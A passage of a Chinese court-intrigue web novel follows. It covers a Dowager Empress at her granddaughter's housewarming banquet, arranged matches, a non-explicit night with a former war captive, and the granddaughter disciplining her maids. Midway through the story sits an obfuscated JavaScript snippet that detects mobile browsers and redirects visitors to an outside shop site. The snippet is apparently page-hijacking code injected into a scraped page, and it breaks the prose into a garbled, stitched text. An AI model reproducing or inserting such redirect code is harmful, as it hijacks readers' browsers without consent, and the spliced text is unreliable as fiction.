——战事未歇,程家在军中的位置都是真要上战场和人对砍玩命的,教育出一个有才华的后代不容易,朝臣并不羡慕程太后给娘家留的官职。 程家经过这一场大清洗,分不出轻重的已经被彻底赶出朝堂,所谓“嫡出”也留下了许多空位可以给过去被出身压制的年轻人大展手脚了。 既然程霖都可以是嫡出,那么早年追随先帝征战时候死去的程老太爷、程二太爷、程六太爷,当然也可以过继几个后人延续香火。 程太后大手一挥,新春之际,把许多青年才俊全归到三位兄弟名下,让三位兄弟多了好些个子孙。 朝臣哪敢对此胡言乱语。 说来说去,朝堂上只剩下一片“太后唯才是举”的夸赞。 倒也应景。 程家的空缺都被补了,那是不是应该轮到朝廷其他职务补缺了? 在朝臣翘首以待中,程太后好像又想起来她是个喜欢亲情抚慰的老太太了,绝口不提安排官员的事情,亲自跑去外孙女开府的宴会凑热闹去了。 * 钿头银篦击节碎,血色罗裙翻酒污。 京中最好的伎乐班被请来渌水山房,正院两侧客房□□脆以东西区分,东侧划给男宾、西侧划给女宾,方便他们更换衣服和歇息。 乐声、笑声远远传开,程太后乘车而来,坐在车里情不自禁跟着露出笑容。 她先开车帘一角,向外看,低声和成业说:“听着挺热闹的,看来来了不少人。” 可随着马车低调进入渌水山房,程太后脸上的笑容却淡了。 她没在前院看到那些常年男女主出行的贴身仆从。 既然如此,来渌水山房做客的都是些什么人? 马车停下,成业扶着程太后下车。 她带上幕离,隔绝了外界的目光,也断绝了泄露身份的机会。 程太后直接走近正厅,视线在厅内扫了一圈,目光彻底变冷。 宾客几乎都是年轻人。 日耀长公主坐在程曦身旁陪着,周围只有寥寥数十位男女长辈。他们各踞一桌,低声谈笑,举止中对程曦倒颇为亲密。 长辈只占了二十八张桌子,与热闹的鼓乐形成鲜明对比。 程太后打眼一看,那些家里官职在四品以上却没有长辈亲临的人家,来的要么是和程曦同辈的女郎,要么是在官场咂摸职务的年轻人。 连和女儿要加入皇室的王御史和岑家都没到。 程曦跟她一块打配合,让程家这群作奸犯科的官员被驱逐出朝堂之后,全留住了性命,还保留几户全部的官职。 朝中权术,最难做的便是这种看似简单,实则润物细无声的法子。 这群得到邀请的官员见识过程曦的本事了,居然敢不亲自出席? 程太后可不相信他们是看懂朝中局势。 他们只是把不来参加程曦的迁居宴会当成表达朝堂上对程太后不满的一个渠道罢了。 这就让人很不高兴了。 一群负隅顽抗的蠢货,真是欠教训。 连程家都不是铁板一块,难道这群官员以为缺了他们,程太后在朝中就真的无人可用吗? 看来她之前清理朝臣的力度还是太轻了。 程太后心中不快,但她不会在外孙女的好日子黑脸。 她却对成业摆摆手,示意他不必呵斥。 程太后解下羃离后,不再遮掩行踪,由侍女引路,从大门走到程曦面前。 成业迅速摆摆手,跟在程太后身后四名宫女快走几步,各自捧上一个托盘。 金冠、长簪、腰带、衣裙。 程太后笑道:“荣昌乔迁大喜,年后你就要入朝了。哀家让人给你备了份用上的礼物。” 成业凑趣:“县主快试试——娘娘吩咐宫中金匠,把金子捶打到头发丝这么细,编了一顶轻便的发冠。方便您配着实心的纯金镶宝凤凰长簪。还有这条金腰带,你瞧瞧,上头用珍珠、东海金珠、绿松石、红宝石、蓝宝石,都是您喜欢的宝石。” 金冠做成了常见的梁冠样式,依照着程曦的头型,比粱冠尺寸略小,既能将她浓密的发丝全部收入发冠之中,也不会因为做得尺寸过大,增加重量。 但到了搭配的长簪,就与男式金冠毫无关系了。 飞凤展翅,七根凤尾随风而起,如在云中翱翔。 张扬至极的风格,这只凤凰几乎是明着把发冠踩在脚下,而且并没有做“凤凰衔珠吊坠”这种增加魅惑氛围的装饰。 程曦的手指抚过金冠和长簪,落在腰带上,捻了捻。 一尺长、两寸宽的金片,被穿孔缝制在布料上。腰带表层的金片约莫有三枚铜钱叠放那么厚。 金片表面雕刻着几只凤凰追逐嬉戏的画面,凤凰的羽毛用小而圆的各种颜色的珠子拼出凤凰“身披五彩”的效果。 衣裙用了程曦喜欢的深色织浅色花纹的长衫样式。 光照这套从上到下的装饰上,金光晕开,几乎令人睁不开眼睛。 “谢谢外祖母,我很喜欢,不过发簪和腰带太重了。” 程太后抚摸着外孙女的脸蛋笑道:“常用的器物,自然要选最好的。哀家还觉得做得太轻了,否则,你的乔迁之喜,为何这么多人敢礼到人不来呢?” 程太后的声音很轻,但在这个问题被问出后,偌大的客厅中,只剩下悠扬的奏乐。 程太后不是一个喜欢发脾气的人。 哪怕曾经当众被亲儿子夺权,她都周全了各方脸面,可现在程太后直接说出了她的不满。 她的脸上还在笑,但除了程曦和这些亲自来参加宴会的官员之外,其他人都笑不出来了,场中,连乐声都停止了。 程太后顺势落座,视线扫过下面坐立不安的宾客,柔声吩咐:“去请人吧。” 她扬手比划一下,乐声重启。 程曦暖场,指着母亲说:“外祖母别光想着那群臣子,无趣得很,不如猜一猜母亲送了什么给我。” “你特意说起,看来不是特别喜欢,就是特别不喜欢了。”程太后看了自己女儿一眼。 日耀长公主有些别扭地移开视线,又强迫自己把视线放回程太后身上,对她展开笑容。 “母亲直接运了一箱金子、两箱银子和十箱铜钱给我。”程曦说完就把自己逗笑了,“母亲说我开府,有的是用钱的地方,送珍宝珠玩,不如金银实在,让我想买什么只管买。” 她一手一个,挽住日耀长公主和程太后:“果然是亲母女,永远想着孩子最实际需要的,不会送些华而不实却不出错的呢。” 这真是实话中的实话了。 送书画珍宝,听着唬人,实则只有喜欢的人才会开心,除了摆出来显摆,就没实际用处了。 至于首饰一类,匠人的工艺都是越新的越好,“古宝家传”的首饰同样也只有纪念意义,价值几乎都是吹出来的。 上面这些东西的“价值”是上位者赋予的。 可不论程太后、日耀长公主还是程曦,她们本来就是上位者,太清楚“给了名就不会给实”的道理了。 到她们这样的层级,已经不必在乎名了。 田宅、商铺、金银才是最实在的东西,而肯忽略虚名,给她们送实际东西的人,才是真正在意她们生活的。 母女之间没有隔夜仇,程曦说合程太后和日耀长公主母女间的那点小别扭很快就散了。 日耀长公主主动说:“下人从北地收来的皮草中有两条毛色特别鲜亮的红狐,我让人尽快裁制出来,母亲出门时候搭在肩膀和膝盖上,不受寒气侵扰。” 天底下冷着谁,也不可能冷着程太后。 可程太后年纪大了,老人永远是怕冷的。她要的也不过是儿女们的一份心意。 “我也让人从西域挪了你爱吃的那个品种的葡萄藤过来,明年夏天,你就再也不愁吃不到葡萄了。”程太后把悄悄为了女儿做过的事情说了。 有了这份和解,不管外人如何,今天的宴会,对程曦来说,实在是大喜。 既然人少又是私宴,更不必在乎繁文缛节。 程曦丢开在朝堂上需要在乎的座次问题,笑着邀请:“安顺堂姑婆,请过来坐。” 谁会不喜欢和掌权人接触呢。 他们本就是亲戚,安顺县主更是程太后的铁杆支持者,听到招呼,安顺县主马上坐过来,拉着程曦夸赞:“荣昌出息了,不但相貌,连本事都随了娘娘。可惜你不想招夫,不然真想把我家里的那群臭小子送你面前来。” 程曦顿时打蛇上棍,“堂姑婆既然有意做亲,不如想一想我在程家的刚被提拔的几个堂兄。” “这……”安顺县主立刻转头去看程太后,怀疑程曦的话出自程太后授意。 可她却看到程太后也面带惊讶。 程曦笑道:“堂姑婆不必多心,这事情,我事先没和外祖母商量过,全是出自我的私心。” 她抱歉地对程太后笑了笑,随后继续说:“堂兄们……虽说已经有了新身份。可至少最近五六年之内,他们突然获得的身份已经比起他们自己打出来的军功更惹眼了。很多人家不想沾惹是非,就不会考虑将家中出挑的女儿嫁过去。” 但不懂事的女孩,就算愿意嫁过来,程家也不想要啊。 婚嫁就是这么回事。 男人娶媳妇的时候,出身、品德、能力缺一不可,非要三选二的情况下,大多门户高的人家宁可放弃男方的能力,以免家中女孩遭罪。 程家现在获得拔擢——不管是官职方面的提升,还是从出身不明的庶子变成已经过世三位程家太爷嫡孙——的子弟,能力是不差的。 能被程太后看中,品性也不会太糟糕。 他们依仗着“程”这个姓氏,按理说,出身也不算糟糕。 偏偏每一个仔细调查,都会被人意识到这个“程”不太成,这样的出身免不了被人说嘴。 勋贵大多不喜欢给女儿挑这类丈夫。 程太后用他们的时候,也忽略了他们的婚姻问题,唯独程曦在计算自家炭火用量的时候,突然回忆起这群堂兄拖到二十啷当,一个个都还没人张罗婚事。 婚姻,结两姓之好。 程家已经被拧成一股绳了,那为何不让这根绳子和更多与程太后站在一起的人家拧在一起,让它变得更加粗壮坚韧呢。 “这……这我以前没想过,荣昌容我考虑一二。”安顺县主颇为意动,但家里孩子都有亲爹娘,为了家宅安定,她不能直接做主。 程曦笑着点头:“堂兄们没人帮着考虑婚姻大事,我这个做堂妹的多嘴,您不怪我不守礼我就很感激了。” 程曦说完,给这次邀婚增加筹码:“堂姑婆,我再给堂兄们美言几句——那寻常武职入军后,家眷须得留京,以示忠心,可外祖母理政,程家是自家人。媳妇都可以跟去任上,不用独自在京中守着儿女苦熬,忍受分别之苦。” 程曦没有许诺什么“无子,四十娶妾”这种废话。 夫妻感情好的,自然不会纳妾蓄婢;夫妻感情不佳的,许诺也就是一句骗人的鬼话,毫无价值。 安顺县主是在丈夫身上吃过苦头的,程曦的话对她来说意义太大了。 她端起饮品快速喝了一口,迅速下定决心:“朝中已经修了年假,最近各府宴饮不断,我会下帖子请程家儿郎过府的。” 只要程太后不死,程家不会败落。 未来二十年足够女子内宅生活的大半辈子了。 再选其他人家,门第也不会更高。 既然如此,不如给孩子们选个能舒心的丈夫。 安顺县主又往程曦、日耀长公主、程太后祖孙三人脸上看了看。 程家人貌美,找程家儿郎做孙女婿,就算生出口角,孩子们再看几眼丈夫的脸,平时都生不起气! 真是个好选择。 “这等好事,县主可不能只顾着亲戚。”亲自过来的人家,除了程曦看中的宗室人家,还有其他勋贵。 他们竖着耳朵偷听程曦和安顺县主的对话,一发现要被捷足先登,顿时忍不住开口插嘴了。 永安侯是程太后给自己准备的下一个女婿,但现在程玉还没死呢,所以他的这层身份也暂时无法曝光。 永安侯裴俊频频入宫的事情,已经被有心人注意到。 今日荣昌县主开宴,永安侯又再次亲临。 为了不引起怀疑,裴俊抓住机会直接加入话题,向程曦询问:“臣家中两子已到弱冠之年,暂无女眷帮忙操持,今日想借县主宝地与给家结识。” 永安侯裴俊个人不显山不漏水,进入军中十数年官职稳步上升,妻子过世数年并未续弦;而他所在的裴家真正的顶梁柱时深受程太后倚重的堂兄裴景,裴景的家中也只有明媒正娶的妻子和由妻子做主开脸的妾室。 裴家两兄弟一文一武,都没听过内宅闹出过什么闲言碎语。 至于其他裴姓族人,也没传出过什么苛待妻子的传闻。 若嫁女入裴家宅门,实在是个不错的选择。 裴俊开口后,刚刚还在和程曦说话的安顺县主立刻转头道:“永安侯不若问一问程三太爷家的长孙女,我见过一回。啊,那女郎实在是生得色如春花。” 安顺县主掩口低笑:“年轻夫妇啊,看对眼了,便是有所争执,多看对方几眼也能笑了,日子磨合下来,慢慢也就顺当了。” “娶妻娶贤”不假,但“贤”和“美”又不冲突。 高门里面长得漂亮的女孩子多的是。 程三太爷眼瞅着就是御前最热的热灶了,他能被程太后扶持起来,又没被言官追着咬,家里妻儿当然不差。 永安侯和他过世的妻子都是秀丽类的长相,他们的孩子相貌清正,现在已经谋了官职在下面办差,颇为稳重。 男女双方都生得不错,性格也和顺,若能成,想来还真是一桩好姻缘。 永安侯开口只是为了不让自己的存在太过突兀,安顺县主这一指点,他顿时心动了,忍不住看向程曦和程太后,询问老太太的意思。 ——既然肯定要和日耀大长公主成婚,程太后是否还愿意再出一个程家姑娘给裴家,这事情就不好说了。 程太后不着痕迹地点点头。 程曦跟着笑道:“永安侯贵人多忘事,堂姐今日随着叔叔婶婶一同过来,您还夸她来着。” 她马上给侍女使眼色,同时说,“后院有几间空屋,请叔叔婶婶和永安侯过去坐坐。” 日耀长公主突然按住程曦的手,对侍女摇头:“今日不是说这些的场合。我过几日要邀请表兄表嫂上门,商量今年的走礼的事情,永安侯到时候一块过来坐坐吧。” “……是,臣听长公主的。”永安侯和日耀长公主对视几息,垂下眼帘,嘴角却微微上扬了几分,语气和顺地答应了。 把程曦的迁居宴变成给其他人的相亲宴当然不那么合适,但比这更不可思议的是一直抗拒联姻的日耀长公主会忽然提供便利。 程曦看着母亲,满眼不可思议。 日耀大长公主已经起身,丢下句“我去寻表嫂了。”就快速离开大厅。 她长长的裙裾逶迤在地,光华流转,背影窈窕。 程曦悄悄瞥视永安侯,果然发现他虽然低着头,姿态恭敬,但视线的方向却无声追逐着日耀长公主的裙摆。 ……这又是什么时候发生的事情? 程曦心里掂量着,借口更衣,暂时离场,吩咐春桃去打听消息。 不一会,春桃返回,在程曦耳畔轻声说:“长公主冬至深夜噩梦惊醒,不顾宵禁,驱车前往程家在郊外的祖坟。路上天黑,车轮卡在石缝里,遇上了成群的野狗围攻。永安侯从军中返回,正巧遇见。救人后才发现是长公主。” 哦,原来是英雄救美。 虽然老套,但不得不说,男性确实在展现真正的雄性魅力时候,能够大幅度增加自己的吸引力。 程曦问:“后来呢?” 难道被人救了,她母亲就没送点谢礼过去?这实在不像是日耀长公主的行事作风,她在面上可从来不落人口实的。 “日耀长公主坚持要去郊外,永安侯让出自己的马车,还亲自带人充作守卫,陪长公主走了一趟。” 春桃双手合十,对天拜了拜,“幸好永安侯陪着长公主走这一趟,程家那些凡事的官眷有不甘心败落的,居然要行刺长公主,让永安侯按住了。” 春桃突然露出奇妙地笑容,声音一转:“永安侯今天穿的衣裳,就是长公主挑的料子,让针线班连夜赶制后送过去的。” 针线班又没跟日耀长公主一起出门。 永安侯今天的外衫如此合身,显然是日耀长公主给针线班的尺寸。 程曦:“还打听出来其他了么?” “永安侯护送长公主回来那日,裴家的两位郎君和两位女郎都在门口恭迎长公主,向长公主行礼问候之后,车驾才继续返回公主府的。”春桃最后补充。 日耀长公主和永安侯的子女们是见过面的。 那天早晨,日耀长公主、程曦、永安侯及其四个子女一起奉旨出席了程太后的早膳。 当时,永安侯的子女循规蹈矩,从头到尾一声不吭,好像是透明人。 程曦当时看不出他们对这桩即将进入流程的联姻的看法,但如今想来,永安侯已经让自己儿女拿出正确的态度了。 确实应了永安侯面对程太后时承诺的那句话——“裴家对太后尽忠”。 所以裴家面对下嫁的日耀长公主,裴家已经拿出以臣奉君的态度,不论喜欢不喜欢,都会恭恭敬敬地让日耀长公主接下来的婚姻生活顺心愉快。 程曦暗忖:外祖母嘴上说着让母亲该长大了,实则还是为她铺了一条分外平安的路走。 “把程家秘传的内伤药准备一个月的量,过两日送到永安侯府,就说我知道消息太晚,谢谢永安侯保护我母亲。” 如果日耀长公主的心智无法继续成长,那么让她前半辈子依靠母亲,后半辈子依靠女儿也未尝不可。 我要变强,变得更强。 宽大的衣袖下,程曦悄然攥紧拳头,比以往的每一刻都更加渴望权力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186537|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是利用权力拨弄他人的生死有什么意思呢?那些都不如把自己在意的人庇护在羽翼下,放任对方享受幸福生活来得更有成就感。 她也想如同外祖母一样,随心所欲的为在意的人构建出他们迟早会喜欢的人生。 她现在还是太弱小了,那么不如学一学蜘蛛,先织一张大网,让各种消息源源不断流入她耳中,方便她分析判断跟各种变化,从而拨动蛛网的丝线,弹动局势。 换上崭新的衣裙,程曦返回宴会。 前来的人家都从“荣昌县主要为程家儿郎和安顺县主子孙做媒”的提示中获得启发,自发借着推杯换盏的机会凑到一块,研究起年龄相仿的儿女婚事。 程太后抵达之后的半个时辰,得到她命令守在二门的成业,突然扬声:“汾阳侯岑家,庄夫人携孙女,到——” 真没想到,最先赶来的居然是已经和二皇子定下亲事的岑家。 程太后若无其事,继续和安顺县主唠着家常。 程曦微笑着注视庄夫人带着岑三娘出现。 她的视线在岑家祖孙身上转了一圈,迅速认出庄夫人头上插着的发簪和岑三娘外套的一层流光纱袍,都曾经在不久前的宴会中穿戴过。 看来她们之前确实没有过来的打算,否则衣服和首饰都会提前准备,而不是临时掏出来组合使用。 程曦嘴角笑容加深。 看来岑家嘴上说着能够接受这桩婚事,实则对于妻妾同时进门心里的怨气还是很重。 “三娘备嫁,尚未亲手缝制好嫁衣,怠慢县主了。”人都到了,就不必死撑脸面,庄夫人直接开口认错。 这理由很唬人,可惜没人信。 程曦笑着说:“庄夫人备下的礼物我很喜欢,家里忙着,大冷的天,实在不必非要走这一趟了。日后都是亲戚,我怎么会计较这些。” 程曦之前确实不计较,因为岑三娘真的在备嫁。 但程太后来了,岑家祖孙突然就有时间过来,不觉得礼到人不到,是一件失礼的事情了? 不过是看人下菜碟,说一套做一道罢了。 庄夫人向上看了一眼,按住想要争辩的孙女,拉着她赔笑入座。 接下来的一个时辰内,陆续又几十名客人抵达,到最后,甚至有些不相干的官员也听到了风声,为了不惹祸上身,临时带着礼物前来。 程曦随便应付了一番后来的官眷,等到面对后续抵达的官员时,则亲自到正门口向他们解释其中误会,然后客客气气地把人邀请入座,送上一份丰盛可口的酒席,再送客人离开。 一直接近午夜,程曦才终于结束了这场宴会。 程太后来时悄悄,等到离开的时候,程曦可不敢冒险。 她把全部甲卫都叫出来护送程太后离开。 送走全部客人,程曦从春桃手里接了手绢擦擦额头的汗水,转头笑问跟着自己一块辛苦了整日的大丫鬟们:“客人身份和送来的礼物都记清楚了?尽快打听清楚他们的家境。” 家境不同,与之相处的态度又要有所分别。 家境不好却送重礼的,必定有意攀附。查一查人品和能力,如果不错,可以收入麾下,日后调遣。 家境不好,送礼也寻常的,只管照价回礼,多送些米粮纸张,日后正常走动,算是结下一份善缘。 至于家境好又上门的官员,情况比家境差的,更麻烦一些。 若他们过去和程家从未有什么来往甚至有冲突,这一回却携带重礼而来的,肯定是想打通和程太后的关系,终于低下他们高贵的头颅了,冲着这个态度,也要给他们和程太后接触的机会。 若是过去和程家点头之交,这次备了重礼,大约也是在示好,可以试探着走动,探探目的。 若是过去本就亲近,这一回却备了重礼,那就要考虑他们是不是惹事,等着程曦帮忙说好话抹消罪行了。 想到未来即将面对的情况,程曦一个头两个大。 看来她下决心太早了,还是先试一试是否真有外祖母的本领能撑起全部重压,再谈替别人撑天吧! 春桃四下看看,突然往程曦掌心塞了一块扎手的东西。 那东西沉甸甸的。 程曦对着灯火举高看了看,“东西”萦绕着一圈冷冷的金属光泽。 “这是什么东西,谁让你塞给我的?” 春桃不敢隐瞒:“刘郎君送的,他说这块天外陨石是被抓后迁往都城时在路上捡到的。材质非凡,可断宝刀。” “县主今非昔比,应该锻造一块护心镜时时佩戴,以防不测。” “不过,他没钱,也找不到好工匠,请县主自己费心。” “……怎么有人送这种东西。”程曦含笑抱怨。 而且都想好了做什么,却还敢直说没钱打造,也没工匠的人脉。 真是促狭! 但还挺有意思的。 程曦捏了捏掌心陨石,嘴角的笑意憋不住在整张脸上扩散。 她喜欢这种别出心裁的礼物。 程曦转转眼睛,不确定地问:“提炼陨石,到底应该找首饰匠人,还是打铁匠?” “这、这奴婢也不晓得。”春桃也只能干瞪眼了。 “无妨,打铁匠和首饰匠聚在一起,就说我要一块漂亮的护心镜,他们肯定有办法。”程曦摆摆手,不再深究,“我要沐浴。” “刘问枢呢?”程曦边走边随便问了一嘴。 她身后的脚步一停,回头看到春桃尴尬的神情,不禁再问,“怎么了?” 春桃赶快走上前,小声回答:“甲士都护送太后去了,等等才能回来。” “厨房肯定还有不少上好的酒肉,让厨房再给甲士送些。”程曦没能理解春桃话中隐含的暗示,吩咐下去。 * 浴房中,温泉咕噜噜地涌进堆起的巨大池子。 程曦整个人在池塘中舒展四肢,如同一条美人鱼似的游来游去。 隔壁淋浴间,一名身材强壮的男子在水下洗净身体,赤身推开隔断的薄薄门扉,埋入池塘。 池子再大也不至于遮掩一名成年男子的存在。 程曦在刘问枢入水后,第一时间发现了他的存在。 她在水中转身,刘问枢欺身而上,扶着程曦一同破水而出。 “谁放你进来的?”程曦直接问出最关键的一点。 刘问枢表情一僵,当即反问:“是我误会了,县主没有见我的意思?” 这个…… 灯光照在湿润的皮肤上,紧绷的皮肤下一块块肌□□回清晰,锁骨向着臂膀延伸的线条中藏着一处浅窝,池水正在其中轻轻摇晃。 年轻男人垂眸看着她,眼睛里写满受伤的情绪,喉结上下滚动。 程曦情不自禁抬手抚上刘问枢的脸:“……你想跟我睡?” 刘问枢的耳朵红了。 “想,还是不想?” 刘问枢将程曦抱在怀中,程曦能感觉到他激烈的心跳。 “我想让县主今晚都不睡。” “哈哈哈哈,”程曦立刻被这回答逗笑了。 年前无事,她明天可以赖床。 程曦咬了咬刘问枢的锁骨,“好啊,说话算话。” 水声骤起,一个不眠夜。 * 晨光破晓,程曦手臂勾住刘问枢汗涔涔的臂膀,将人拉到面前,亲着他的嘴唇,含混地说:“你该走了。你已经不是战奴了,别让人知道你今晚来过。” 刘问枢一瞬间僵住身体,他闷闷答应一声,翻身下床,“县主放心,我不会破坏县主名声的。” 程曦踹了一脚他的后腰,然后卷着被子翻身背对着刘问枢:“洗洗再走,别一身汗的出门,小心病了。” 刘问枢顿住脚步,回头看向床帐中隐约透出的莹白身影,赤着脚走回去。 他跪在踏脚上,扶住程曦的肩膀,将嘴唇印在程曦后颈。 “县主,我会很听话、很上进的。您能不能……” 程曦没有回头,打断刘问枢的恳求时,声音已经透出倦意:“刘问枢,我不嫁皇子,是因为他们会挡我的路。如果婚姻对我有帮助,我会找个身份适合的丈夫,啃下对方掌握的权力脉络。” 刘问枢不死心,“那您为何言语之间对我总是多有回护呢?” 程曦终于回转身体面对着刘问枢。 她抓住男人一缕发丝,在指尖翻卷,微微用力,刘问枢就凑过来,与她交换浅吻。 程曦脸上的笑意扩大,“你看,你这么英俊,又很会让我开心,我当然会对你好一点。” 她咬了咬男人的脖子,在上面留下痕迹。 些微的刺痛并不算什么,但她说出的内容却让刘问枢整个人僵在原地:“因为你开心的时候,就能尽心尽力让我更开心。” 程曦说完就放开刘问枢,重新阖上双眼。 刘问枢单手撑在床面上,半晌没有动弹。 程曦推了推他的肩膀,“去温泉里暖一暖吧,别让开心的事情变得不开心。” 她说完话,呼吸很快变得平和缓慢。 刘问枢收回手,定定看着程曦安详的睡颜,捂住发红的眼睛。他在踏脚上跪了许久,才站起来,轻声离开。 程曦睁开眼睛,细长的手指抚摸着刘问枢依靠的那一块,褥子尤带余温。 她卷起嘴角,露出个笑容。 刘问枢一定不知道,他就像个大火炉似的,只要在不远处,都能让环境变热;他肯定更不知道,如果装睡有等级,那程曦肯定是大宗师,只要她不希望被人发现自己装睡,就没人能够发现。 这群战奴的资料早就被摆上程曦桌头了。 最近得空,她当打发时间,把资料看完。 刘问枢被绑来做了三年苦工了,今冬寒冷远胜往日,他那阵子接连病了几场,差一点起不来。 被程曦选中带回来之后,或许是出于活命的感激催生了多余的情感? 程曦不确定。 但不论真心还是假意,程曦希望刘问枢做的,他做的很好。 刘问枢如果要钱,程曦可以给出很多,但要感情和承诺,她给不了。 不过,只要是人,就难免双标——她给不了刘问枢情,可刘问枢表现出对她的在意,却让她很开心。 就像她自己说的那样,至少稍微对刘问枢好一点,他开心了,就会让程曦更开心。 刘问枢来得静悄悄,离去也没惊动其他人。 日上三竿,程曦推开被单,懒洋洋地起身。 她视线朝下扫了一圈,冷声问:“昨天,你们之中是谁做主让刘问枢进来的?” 正系内衫绳扣的春桃双手一抖。 “没有我的命令,让男人进我浴室,你胆子倒是不小。” 春桃急忙跪下:“县主,奴婢瞧着你很喜欢刘郎君送的礼物,误以为您又想召幸于他,便……” “然后,你就自作主张,绕过重重守卫,把一个身强力壮的他国战士放进我的浴房。”程曦脸色没有丝毫缓和。 春桃身体伏在地上,不死心地解释:“若是他人,奴婢不敢胡来,可县主之前已经宠过刘郎君几回,他应该没有坏心思的。” 程曦对天翻了个白眼:“刘问枢过去希望我给他叔父收尸、想要通过我拯救族人、想要一个正经身份。他当然会对我伏低做小,今日,这些他都有了,我还凭什么相信他是无害的?” 正因为程曦给过刘问枢太多东西,刘问枢才比其他人更清楚,讨好了程曦,他真的能够获得无穷无尽的好处。 程曦没有辨别真心的本领,她也不认为有真心就会妨碍讨要好处,所以,她绝不可能全心信任刘问枢。 “出去领罚,打手五下,再罚一个月的月钱。” “是。”春桃出门领罚。 春桃出了门,留在房间里春草却始终低着头,程曦淡声询问:“你以为我只说春桃吗?” 春草膝盖一软,顿时也跪在地上,“她看出我的意动,可你管着内院的各处钥匙。比起春桃,我对你更失望,你自己好好反省。” 春桃管着程曦房事,发现程曦感兴趣的男人,把人弄进来,算得上是春桃的份内事。春草管着库房和内门各处的钥匙,是程曦心腹中的心腹。 程曦真没想到春草居然会被春桃说动,甚至不对她知会一声,就把人直接放进来了。 这才是程曦真正生气的地方。 只为莫须有的情爱,就要把她的安全抛之脑后,该给这群丫鬟上上劲了! 25.第 25 章 寝房里安安静静的。 春草做事细心,被程太后赐到程曦身边,从未受过训斥。她跪在地上,失职的难受和受训的羞耻交织,不禁流下泪来。 “别在地上跪着,站起来,我面前不兴这个。”程曦把人拉起来,脸上严肃的表情却没有变化。 春草赶紧擦掉泪水,可心里想不明白错在何处,无法平顺下来,只能捂着嘴低声抽噎,“奴婢想不明白到底错在何处了。” 程曦无奈点了点她额头,“你当咱们是在宫中,来求见的都是安全的人,只顾着把人放进来合不合适就行了?” 春草脸上的表情一瞬间被清空了。 她没想过。 入宫的宫女分为两种,一种是京城附近采选的良家子;另一种是罚没入宫的罪臣妻女。 春草是第二种,但她入宫的时候年岁不大,父祖的罪行也很清晰,入宫之后,她母亲动用了和程家的最后一点情分,把春草送到程太后给程曦挑选的备选宫人名单之中。 从小到大,春草都没出过大宅门。 她很清楚内宅的纷争和龌龊,却偏偏不清楚,出了那道大门——不论是宫门还是府门——外人也是有危险的。 “奴婢、我……”春草心底那点不服气迅速消散,取而代之的是没办法解释的尴尬。 程曦从她手里抽出手绢,主动遮住春草的脸,笑道,“嗯,现在知道了?不哭了吧?能好好反省了?” 手绢顺着春草的脸落下,露出一双羞窘的眼睛。 春草用力跺脚,嗔道:“县主,你坏死了!奴婢出去反省,不要理你了!” 程曦捂嘴低笑,给身后另外几个丫鬟比划个首饰,“继续给我穿戴。” 等到程曦穿好,春草也红着脸回来了。 她略显扭捏地捧上一张磨痕未干的宣纸,“请县主过目。” “这么快?我看看,你写了什么。”程曦接过宣纸,来到门前,借着晨光慢慢阅读。 纸张上认真罗列了日后门房放人进门的各项要求和需要询问的条件。 如果真的照章办理,确实可以彻底断绝昨晚那种莫名其妙的情况。 ……虽然稍显繁琐了,但想来,登门的客人应该不会介意。 “不错,发下去,让门房比照办理吧。”程曦点点头。 春草绞着手指,忐忑地看了程曦一眼,小声说:“县主,您说得对,奴婢一直没出门见过世面。我想求个恩典,跟着春信出去开开眼。” 程曦不反对身边的大丫鬟开眼界,“把手下的活计交代好就可以跟着春信出去。不过要想好了,若趁机被人挤下去了,我可不会专门为你留空缺的。” “县主放心,大家一般大小,她们没能先在县主面前冒头,管着县主穿用自然没人比我做的好。”春草自信地昂起头。 程曦笑着点头:“你最好。” 她把宣纸还给春草:“这份工作职能和范围写得很好,让春桃、春信、春柳把她们各自统管的各个位置的都比对着写出来,汇集成册,日后不论工作如何调换,都比对着办理。” 她扬起眉尾:“定下章程是你的功劳,记你一功,赏三个月的月钱——我库房里那盆攒珠桃花簪,我记得你喜欢来着,也做奖品赏给你了。” 春草一瞬间瞪大眼睛,惊喜不已。 “谢县主!” 渌水山房的丫鬟们,终于在搬家之后第一次有人得了额外的赏钱。 * 日子流水似的过,过了祭灶,紧邻着除夕、春节,之后还有立春、元宵节,一连串的假日让人目不暇接。 年前,程太后大张旗鼓的整顿一遍朝堂,大权在握。 朝臣们都以为程太后春节必然大庆,却不想程太后以成顺帝病重,需要静养为借口,大过年的日子里为儿子茹素斋戒,祈求神明保佑龙体安康。 于是,过年时候,整个皇城相较于往年,显得分外安静。 各家都关起门来自己跨年,日子倒更轻省舒坦了不少。 上元灯节,百无禁忌。 这一天正是程太后的千秋。 即便过年不庆祝,程太后生日可是大日子,臣子又怎么能不进宫给太后庆贺呢? 借着元宵节的好日子,官员们携家带口,捧着给程太后的千秋贺礼,进宫拜会。 程太后说了不大办,就真的没请梨园的戏班和伎乐前来歌舞助兴。 但臣子进宫表忠心,她也不好让臣子们饿着肚子吸一肺的冷气回家,索性在长寿宫侧殿开了流水席,让各家都能吃上一口热乎饭再走。 ——哪个朝臣也不差这一口热乎饭,但能够经过朝堂的清洗还留下来,陪着程太后过生日,说几句吉祥话,吃上太后给的“饭”,意义非凡。 所以,没有一个能进门的朝臣在这一天触霉头,各个食尽了盘中餐。 臣子们表忠心,宫中的皇子们也不遗余力展现他们的孝心。 二皇子周泉一早就来到长寿宫,早早献上他的寿礼。六开扇的屏风,整个框架都是由玉石雕琢而成,框内绷着八仙献寿和日月同辉的双面绣图。 二皇子的母亲吴夫人满脸自得的坐在一旁,堆着笑向程太后凑趣:“太后还不晓得,泉儿这些日子跑得没影,我还当他有了媳妇忘了娘,结果是专门跑出去寻找玉料。” 吴夫人轻轻捶了周泉一拳头,抓着他张开双手往程太后眼皮底下送,嘴里不停嗔怪:“那些玉石是他亲自琢磨的,哎呦,您没瞧见,他手上割破出好多口子,看得我好一阵心疼。” 